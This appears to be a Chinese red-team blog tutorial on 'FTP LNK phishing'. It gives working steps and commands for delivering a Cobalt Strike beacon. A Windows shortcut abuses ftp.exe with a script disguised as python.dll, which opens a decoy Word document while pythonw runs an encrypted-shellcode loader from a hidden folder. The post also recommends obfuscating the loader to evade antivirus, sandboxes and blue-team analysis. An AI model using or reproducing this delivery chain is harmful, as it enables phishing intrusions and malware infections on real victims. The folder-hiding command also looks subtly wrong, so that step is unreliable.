FTP LNK钓鱼技术

背景

  • 常规如果使用捆绑程序绑定正常文件和恶意木马释放,会调用很多windows api 这时候会及其容易引起设备的告警

  • 像一些360的杀毒软件,常会产生 qvm 报毒拦截

  • 并且如果蓝方队伍获取了木马程序,扔沙箱里会导致大量的虚拟beacon上线,对正常的攻防活动造成影响

使用方式

1、cobaltstrike 生成 beacon_x64.bin,或者使用其他C2的shellcode(文件命名默认为beacon_x64.bin,更换需修改对应的python文件 )

image-20240510172230652

2、运行 python encrypt.py生成 data.json,里面为加密后的shellcode

image-20240510172436700

3、把 data.json main.py 放到 __init__文件夹里

4、设置属性隐藏文件夹 __init__

1
attrib -s -h -r __init__

LNK属性填写

1
C:\Windows\System32\ftp.exe -""s:__init__\python.dll

其中 python.dll 内容为

1
2
3
!start /b __init__\11.docx
!start /b __init__\pythonw.exe __init__\main.py
bye

image-20240510172047323

运行后能正常上线,并打开11.docx欺骗性文档

image-20240510175829844

加载方式

加载器和shellcode建议是分离或者远程加载获取

image-20240510171644587

代码加解密和混淆

解密loader因为需要携带在附件内,所以需要尽可能混淆,增加蓝队的逆向难度

https://pyob.oxyry.com/

image-20240510171335343

坑点细节

因为文件调用是在上一级目录下,因此这个路径得设置为相对的 __init__/data.json

1
2
3
def loadjson (file ='__init__/data.json'):#line:14
with open (file ,'r',encoding ='utf-8')as O0OOO00O0OO0O0OO0 :#line:16
OOO0O0OO000OOO0O0 =json .load (O0OOO00O0OO0O0OO0 )

pythonw.exe需要添加libs依赖才能正常运行,把文件夹下面的文件全部拷贝

1
C:\Users\Administrator\AppData\Local\Programs\Python\Python38\Lib